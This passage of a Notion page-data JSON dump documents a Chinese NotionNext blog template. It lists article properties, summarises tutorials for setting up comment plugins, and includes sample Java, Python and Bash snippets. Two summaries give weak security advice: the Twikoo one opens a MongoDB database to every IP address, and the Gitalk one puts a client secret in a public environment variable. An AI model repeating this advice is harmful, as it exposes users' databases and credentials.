4e18-8deb-d9b4d09e5463"],"format":{"copied_from_pointer":{"id":"edf25784-54d5-4c65-ac1e-7f3ac52e6ab4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"fd0213c3-3749-4192-9153-a4ed99862478","parent_table":"block","alive":true,"copied_from":"edf25784-54d5-4c65-ac1e-7f3ac52e6ab4"}},"e7d4f134-5b60-4e18-8deb-d9b4d09e5463":{"value":{"id":"e7d4f134-5b60-4e18-8deb-d9b4d09e5463","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"content":["7c40fcc2-6bd0-4bd5-b352-221b86d56e65"],"format":{"copied_from_pointer":{"id":"be780eee-e70c-45d5-a5ad-36bf9a3434a0","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8","parent_table":"block","alive":true,"copied_from":"be780eee-e70c-45d5-a5ad-36bf9a3434a0"}},"7c40fcc2-6bd0-4bd5-b352-221b86d56e65":{"value":{"id":"7c40fcc2-6bd0-4bd5-b352-221b86d56e65","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"46382638-5d6f-4be9-b7b3-ea077022a53e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"e7d4f134-5b60-4e18-8deb-d9b4d09e5463","parent_table":"block","alive":true,"copied_from":"46382638-5d6f-4be9-b7b3-ea077022a53e"}},"0186f962-3e26-4d4c-94ac-91763ada0633":{"value":{"id":"0186f962-3e26-4d4c-94ac-91763ada0633","type":"header","properties":{"title":[["模板使用说明"]]},"format":{"copied_from_pointer":{"id":"f39623e6-3751-4a0d-9ce9-f2eb40146491","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f39623e6-3751-4a0d-9ce9-f2eb40146491"}},"7d0286ac-a9d7-4830-af71-ef7b45c2f171":{"value":{"id":"7d0286ac-a9d7-4830-af71-ef7b45c2f171","type":"text","properties":{"title":[["若要部署你的NotionNext项目,请复制该模板,并按照模板格式创建文章:"]]},"format":{"copied_from_pointer":{"id":"e9273669-ed36-451d-a3f9-787837fb8386","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"e9273669-ed36-451d-a3f9-787837fb8386"}},"e4a4f952-60d5-4bb8-a96f-a835fe58bd3b":{"value":{"id":"e4a4f952-60d5-4bb8-a96f-a835fe58bd3b","type":"bookmark","properties":{"link":[["https://tanghh.notion.site/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d"]],"title":[["NOTION BLOG"]],"description":[["演示站点描述"]]},"format":{"bookmark_cover":"https://tanghh.notion.site/image/https%3A%2F%2Fp1.qhimg.com%2Fbdm%2F1600_900_100%2Ft01e66d486b8e826270.jpg?table=collection\u0026id=4379bc14-5d22-453b-a153-12639616fc01\u0026spaceId=6c096b44-beb9-48ee-8f92-1efdde47f3a3\u0026width=2000\u0026userId=\u0026cache=v2","copied_from_pointer":{"id":"19936e6c-1a77-4685-b1b0-932bc8b7d40b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"19936e6c-1a77-4685-b1b0-932bc8b7d40b"}},"c994ab66-5436-4200-bc41-90a32ae0ee7e":{"value":{"id":"c994ab66-5436-4200-bc41-90a32ae0ee7e","type":"text","properties":{"title":[["Notion页面中,每篇文章都将有以下属性🤔:"]]},"format":{"copied_from_pointer":{"id":"548780a2-7746-435c-8799-628311eb197b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"548780a2-7746-435c-8799-628311eb197b"}},"e0c369fb-2c38-4e2d-b639-361bca715727":{"value":{"id":"e0c369fb-2c38-4e2d-b639-361bca715727","type":"table","content":["05186514-3dc8-4849-9475-59b850a6b0cc","07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7","f06bb257-3f4a-4403-bb69-7b1d74d06904","03ede0f3-7648-4ea1-bf04-813153286b95","a2fa28f1-bc0d-4652-b178-7930b36dd23f","0c387878-efc6-4b90-8864-a761e254afa5","64862808-6468-41fc-99b2-70dff39315e7","4d6f361a-43ee-4036-84c0-528b8db99127","3a7fc9cc-3076-4fb0-ad05-c85def990def","422651c6-3a69-448d-88de-41bac662105d","12373e99-0812-4e9d-9d7b-a5e57bbab2ad"],"format":{"copied_from_pointer":{"id":"605a007d-fc0f-4aba-9d83-d6646f75e29c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":148},"GENW":{"width":77.00000762939453},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705638991036,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"605a007d-fc0f-4aba-9d83-d6646f75e29c"}},"05186514-3dc8-4849-9475-59b850a6b0cc":{"value":{"id":"05186514-3dc8-4849-9475-59b850a6b0cc","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"a3ba15e7-f1f0-45a0-b2e2-65afa2383a4c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"a3ba15e7-f1f0-45a0-b2e2-65afa2383a4c"}},"07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7":{"value":{"id":"07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"b6161c75-f30b-4f12-9184-2facf8050e3f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"b6161c75-f30b-4f12-9184-2facf8050e3f"}},"f06bb257-3f4a-4403-bb69-7b1d74d06904":{"value":{"id":"f06bb257-3f4a-4403-bb69-7b1d74d06904","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"20cd43c7-7dbe-4684-8fd6-7c5d3cccb867","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"20cd43c7-7dbe-4684-8fd6-7c5d3cccb867"}},"03ede0f3-7648-4ea1-bf04-813153286b95":{"value":{"id":"03ede0f3-7648-4ea1-bf04-813153286b95","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"4a616b4b-9351-4c57-9f18-7236093fef68","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"4a616b4b-9351-4c57-9f18-7236093fef68"}},"a2fa28f1-bc0d-4652-b178-7930b36dd23f":{"value":{"id":"a2fa28f1-bc0d-4652-b178-7930b36dd23f","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"b7eed8de-c073-4960-81ef-b75b014ab5bd","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"b7eed8de-c073-4960-81ef-b75b014ab5bd"}},"0c387878-efc6-4b90-8864-a761e254afa5":{"value":{"id":"0c387878-efc6-4b90-8864-a761e254afa5","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["否"]],"Js[p":[["发布日期"]],"`VuO":[["在V3.3.9之前的版本此项为必填。"]]},"format":{"copied_from_pointer":{"id":"20ae1a6e-7d0c-456b-a510-c03cb00454dc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"20ae1a6e-7d0c-456b-a510-c03cb00454dc"}},"64862808-6468-41fc-99b2-70dff39315e7":{"value":{"id":"64862808-6468-41fc-99b2-70dff39315e7","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"44854eb0-485e-48cc-81b6-5b80488d3b7d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"44854eb0-485e-48cc-81b6-5b80488d3b7d"}},"4d6f361a-43ee-4036-84c0-528b8db99127":{"value":{"id":"4d6f361a-43ee-4036-84c0-528b8db99127","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"c7ca1f34-ec0f-4c56-84c8-cab6ff13ca7f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"c7ca1f34-ec0f-4c56-84c8-cab6ff13ca7f"}},"3a7fc9cc-3076-4fb0-ad05-c85def990def":{"value":{"id":"3a7fc9cc-3076-4fb0-ad05-c85def990def","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"66668f66-e0a7-49d4-af0e-2e1277dff157","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"66668f66-e0a7-49d4-af0e-2e1277dff157"}},"422651c6-3a69-448d-88de-41bac662105d":{"value":{"id":"422651c6-3a69-448d-88de-41bac662105d","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v6/search"]]]]},"format":{"copied_from_pointer":{"id":"3f432717-e38f-4cf2-b648-8a82826e6d46","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"3f432717-e38f-4cf2-b648-8a82826e6d46"}},"12373e99-0812-4e9d-9d7b-a5e57bbab2ad":{"value":{"id":"12373e99-0812-4e9d-9d7b-a5e57bbab2ad","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[[" 否"]],"Js[p":[[" 文章加锁"]],"`VuO":[[" 需要输入密码才允许访问"]]},"format":{"copied_from_pointer":{"id":"224b5680-aeff-427d-af00-27a29a0684f6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"224b5680-aeff-427d-af00-27a29a0684f6"}},"b2eef454-ef1f-4137-a256-ed8d7f28ca5d":{"value":{"id":"b2eef454-ef1f-4137-a256-ed8d7f28ca5d","type":"header","properties":{"title":[["评论插件"]]},"format":{"copied_from_pointer":{"id":"fd4c19bc-0de4-40ea-a038-8e0c97744ff3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"fd4c19bc-0de4-40ea-a038-8e0c97744ff3"}},"75a4c9a0-0331-416b-86ac-184c365390a9":{"value":{"id":"75a4c9a0-0331-416b-86ac-184c365390a9","type":"text","properties":{"title":[["系统支持 Waline\\Giscus\\Valine\\GitTalk\\Utterance\\Cusdis\\Twikoo六种评论插件,并且可以同时开启,点击评论区的Tab来体验。"]]},"format":{"copied_from_pointer":{"id":"f0b6509e-dfc7-4cc6-a02d-29e2c5d2dcea","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f0b6509e-dfc7-4cc6-a02d-29e2c5d2dcea"}},"f7f5b64a-3ff6-47b3-947d-80f9e1704081":{"value":{"id":"f7f5b64a-3ff6-47b3-947d-80f9e1704081","type":"text","properties":{"title":[["按照以下教程可以开启响应的评论插件"]]},"format":{"copied_from_pointer":{"id":"f729e406-9158-4baa-9043-148399a69893","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f729e406-9158-4baa-9043-148399a69893"}},"db08546f-0540-456c-9244-e258c16452c3":{"value":{"id":"db08546f-0540-456c-9244-e258c16452c3","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notionnext-twikoo"]],"title":[["NotionNext配置评论插件Twikoo | TANGLY's BLOG"]],"description":[["一个简洁、安全、免费的静态网站评论系统,基于 腾讯云开发 。 经评论区网友推荐,我开始使用 Twikoo,一番体验,发现Twikoo真的很强大,目前我决定用它作为主要评论插件。 twikoo支持在页面上直接管理评论、配置插件,非常强大 在最新版本中 NotionNext已经 支持该评论插件,配置 方法很简单: 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_ENV_ID ; 值为您部署好的 twikoo 后台地址。以我的举例: 借助vercel,您可以非常快速地部署自己的twikoo后台,用于储存评论数据。 twikoo的后台数据存储是基于MongoDB数据库的,我们可以先注册创建一个免费的在线MongoDB数据库。 创建MongoDB数据库 1.注册账号 创建数据库 这里下方要设置一个允许访问该数据库的IP地址,推荐设置0.0.0.0,即所有地址都允许访问,毕竟我也不知道自己会用什么ip访问这个数据库。 2.获取数据库连接地址 Vercel一键部署 点击Create将twikoo的代码拷入您的仓库 配置MongoDB数据库地址 添加一个配置 MONGODB_URI 环境变量即可,其值为上一步获得的MongoDB连接地址,注意将链接中MONGODB的密码 替换成您设置的。 上述部署完成后,您将获得一个vercel的twikoo后台页面,您可以选择像我一样映射成二级域名 将您的twikoo后台地址配置在NotionNext的后台,并redeploy即可。 到此完成~ 点击右下角的小齿轮即可配置您的管理员密码、并进行更多的功能设置。赶快体验吧~ 可以访问官方文档获取安装部署帮助,并且查看Twikoo的更多特性。 NotionNext支持多种评论插件,可访问以下文章获得帮助:"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1564419320603-628d868a193f?ixlib=rb-4.0.3\u0026q=80\u0026fm=jpg\u0026crop=entropy\u0026cs=tinysrgb","copied_from_pointer":{"id":"d35a0f34-d6b5-4a61-81a0-36518f8e6f7b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"d35a0f34-d6b5-4a61-81a0-36518f8e6f7b"}},"c06aaa31-3788-4ed1-b964-ad1ff77fe151":{"value":{"id":"c06aaa31-3788-4ed1-b964-ad1ff77fe151","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notion-next-comment-plugin"]],"title":[["NotionNext如何添加评论插件 | TANGLY's BLOG"]],"description":[["NotionNext支持多种评论插件,其中体验比较好的我个人觉得是Twikoo,您可以参考以下教程进行配置安装: 您也可以选择Valine/Waline,关于Valine/Waline的部署可以访问此篇文章: Utterance 、 Giscus 、Gitalk 其中部署最便捷的当属 Cusdis 和 Utterance 这两个插件。您可以任选一个部署,当然,您也可以选择同时部署多个。 完成效果预览 点击Start for free ,并用Github登录即可 Sign in With Github (点击查看截图) [可选] 配置邮件通知地址,以便收到新评论时邮件通知您,(点击展开截图) 点击Embed Code获取您的应用ID,即data-app-id, 复制这串id备用。 在Vercel后台添加一个环境变量 NEXT_PUBLIC_COMMENT_CUSDIS_APP_ID,值为上面获取到的data-app-id。 完成预览效果 在您的Github中创建一个开源项目用于存放评论 在github中安装utterance插件 允许utterance访问所有仓库,并勾选install,可以只勾选作为评论用的仓库地址。 将用作评论仓库名添加到Vercel添加环境变量 后台 settings→ environment variables → 添加 → save 即可。如下图: 注意, 仓库名的格式是 [您的用户名/您的仓库名] 如下示例 完成预览效果 在您的Github中创建一个开源项目用于存放评论 创建一个授权秘钥,并保存您的ClientID与ClientSecret Authorization callback URL 填写您网站域名 填写配置的效果 ,点击 register application 即可创建。 点击 Generate a new client secret 生成您的密码 复制 Client ID和刚生成的 Client secret (对应图中2和3)备用。 在Vercel后台配置环境变量 NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET NEXT_PUBLIC_COMMENT_GITALK_CLIENT_ID NEXT_PUBLIC_COMMENT_GITALK_CLIENT_SECRET 项目会在您的Github项目讨论区创建评论数据,便于维护管理 , 完成效果 预览 您可以在Github的Discusstion讨论区随时管理评论。 在您的Github中创建一个开源项目用于存放评论 在项目Setting中开启discussion功能 在Github中安装giscus应用 点击右上方的Install即可,并确认 允许访问仓库数据权限: 默认勾选All repositories即可。也可以只勾选用作评论的仓库,(后续还可以再回来配置) 访问Giscus填写并获取您的Giscus配置参数 主要配置输入您的仓库名,并选择 Discussion分类为 Announcements ."]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://tangly1024.com/bg_image.jpg","copied_from_pointer":{"id":"83caa5ef-f141-412a-a469-542d934d7147","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"83caa5ef-f141-412a-a469-542d934d7147"}},"24d6c0a0-f4d3-44dd-b749-4f048b962bcd":{"value":{"id":"24d6c0a0-f4d3-44dd-b749-4f048b962bcd","type":"bookmark","properties":{"link":[["https://tangly1024.com/article/notionnext-valine"]],"title":[["NotionNext配置Valine/Waline评论插件 | TANGLY's BLOG"]],"description":[["Valine插件需要LeanCloud后端提供数据库存储功能,请按照以下步骤配置。 而Waline 的前置步骤和Valine基本一致,只是多了一个部署Waline的Vercel服务步骤。由于Waline配置了完善的后台管理功能,所以使用Waline就不需要再配合Admin-Valine项目运行。 应用创建好以后,进入刚刚创建的应用,选择左下角的 设置\u003e 应用Key,然后就能看到你的 APP ID和 APP Key 了: 为了你的数据安全,请设置自己的 安全域名 :只有以下设置的域名,才允许访问你的valine数据 支持的Valine配置在NotionNext项目的blog.config.js 中,请在Vercel后台的环境变量中配置: serverURLs在应用内部会尝试自动获取,如果发现获取失败,请手动提供 刚刚创建的应用,选择左下角的 设置\u003e 应用Key,找到 Request 域名 第一行 需要在akismet中注册账号并获取免费的key: https://akismet.com/account ,并在LeanCloud中配置 AKISMET_KEY 变量 参考官方文档,在你的Vercel上部署一个valine应用。而后在你的NotionNext环境变量中添加你的waline服务地址环境变量: NEXT_PUBLIC_WALINE_SERVER_URL 即可生效。"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F10eb466a-599b-4513-bcbf-2331cf88078d%2Fpexels-photo-546819.webp?table=block\u0026id=bee1fccf-a3bd-47a1-a7be-83cc71372d83\u0026cache=v2","copied_from_pointer":{"id":"43105988-677b-4857-96be-272139671537","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"43105988-677b-4857-96be-272139671537"}},"58b92af2-69c7-4e70-b107-5b62363f7bf8":{"value":{"id":"58b92af2-69c7-4e70-b107-5b62363f7bf8","type":"text","format":{"copied_from_pointer":{"id":"517fd501-4fae-491e-89af-373bba175082","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"517fd501-4fae-491e-89af-373bba175082"}},"7a70e08b-725e-4db5-9f17-8dc53540f006":{"value":{"id":"7a70e08b-725e-4db5-9f17-8dc53540f006","type":"file","properties":{"size":[["469.5KB"]],"title":[["测试嵌入PDF.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F20ecd1ff-e4de-4471-b86f-6f14ec891fc0%2F%25E6%25B5%258B%25E8%25AF%2595%25E5%25B5%258C%25E5%2585%25A5PDF.pdf?table=block\u0026id=7a70e08b-725e-4db5-9f17-8dc53540f006"]]},"format":{"copied_from_pointer":{"id":"a7d89bbd-87c6-4a4e-b49d-67339645680e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a7d89bbd-87c6-4a4e-b49d-67339645680e","file_ids":["20ecd1ff-e4de-4471-b86f-6f14ec891fc0"]}},"42e434d6-3a26-49f0-8405-04854616fc19":{"value":{"id":"42e434d6-3a26-49f0-8405-04854616fc19","type":"header","properties":{"title":[["引用文献"]]},"format":{"copied_from_pointer":{"id":"ea5f0b81-5dc2-4a8d-a210-3eca56193e38","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ea5f0b81-5dc2-4a8d-a210-3eca56193e38"}},"f862643d-1c2d-4678-9168-580da7e368dc":{"value":{"id":"f862643d-1c2d-4678-9168-580da7e368dc","type":"sub_sub_header","properties":{"title":[["1. 关于李白",[["a","https://zh.wikipedia.org/zh-sg/%E6%9D%8E%E7%99%BD"]]]]},"format":{"copied_from_pointer":{"id":"a47eb492-9c65-4ac4-b8c8-95d00023a97e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a47eb492-9c65-4ac4-b8c8-95d00023a97e"}},"573fc380-fb6b-434b-897f-3510f4c57832":{"value":{"id":"573fc380-fb6b-434b-897f-3510f4c57832","type":"text","properties":{"title":[["引用另一篇文章→"],["‣",[["p","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","6c096b44-beb9-48ee-8f92-1efdde47f3a3"]]],[" "]]},"format":{"copied_from_pointer":{"id":"ba59b0e1-f03b-414c-8f0e-91ab9c82ace5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ba59b0e1-f03b-414c-8f0e-91ab9c82ace5"}},"f5dd304c-8c81-40dc-ba37-9c1d7399e15e":{"value":{"id":"f5dd304c-8c81-40dc-ba37-9c1d7399e15e","type":"page","properties":{"NX\\Q":[["‣",[["d",{"type":"date","start_date":"2021-07-02"}]]]],"`gQ~":[["Post"]],"bB{M":[["知行合一"]],"d]hq":[["guide"]],"sD^m":[["文字,推荐"]],"wz|S":[["\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"]],"title":[["模板说明"]],"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":[["Published"]]},"content":["579acad5-88b1-48b4-9663-be0acfce1b82","43904423-54d5-4b7a-99e1-c42e625c1a43","22dda7cc-3244-4b8e-b207-c2e4d19b880f","87cd6da6-69f3-47d4-aa17-030c57592d46","5ab0b635-8005-4cc8-a169-6e26bc440b19","4c27b110-b8c1-462b-b17d-6b83a532a460","84e4d603-68c8-4e86-8a2a-89bade71caa6","c8471935-a70e-4cab-9f10-9e6528bc4f36"],"format":{"page_font":"mono","page_icon":"📖","page_cover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"created_time":1685088343887,"last_edited_time":1709537040462,"parent_id":"4379bc14-5d22-453b-a153-12639616fc01","parent_table":"collection","alive":true,"copied_from":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"f993f0f3-96ef-436e-b3a6-2a32c9623c1c":{"value":{"id":"f993f0f3-96ef-436e-b3a6-2a32c9623c1c","type":"code","properties":{"title":[["ps -ef | grep java | awk '{print $2}' | xargs kill -9"]],"language":[["Bash"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"c7dacf97-8ced-4a63-bdd2-e812ceedb59d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"c7dacf97-8ced-4a63-bdd2-e812ceedb59d"}},"dc053857-d6b6-4106-9819-6545884c39ee":{"value":{"id":"dc053857-d6b6-4106-9819-6545884c39ee","type":"code","properties":{"title":[["@Test\npublic void test11() {\n\n  long start = System.currentTimeMillis();\n  int a = 0;\n  for(int i=0;i\u003c1000000000;i++){\n      try {\n          a++;\n      }catch (Exception e){\n          e.printStackTrace();\n      }\n  }\n  long useTime = System.currentTimeMillis()-start;\n  System.out.println(\"useTime:\"+useTime);\n}"]],"language":[["Java"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"c1d99d5c-8f92-4ca2-8ca6-ac18f231f1a4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991047,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991047,"parent_id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","parent_table":"block","alive":true,"copied_from":"c1d99d5c-8f92-4ca2-8ca6-ac18f231f1a4"}},"063756cd-6ec1-4081-85e3-4b92832a9cb4":{"value":{"id":"063756cd-6ec1-4081-85e3-4b92832a9cb4","type":"code","properties":{"title":[["#!/usr/bin/python3\nimport json\n \n# Python 字典类型转换为 JSON 对象\ndata = {\n    'no' : 1,\n    'name' : 'hello',\n    'url' : 'http://tangly1024.com'\n}\n \njson_str = json.dumps(data)\nprint (\"Python 原始数据:\", repr(data))\nprint (\"JSON 对象:\", 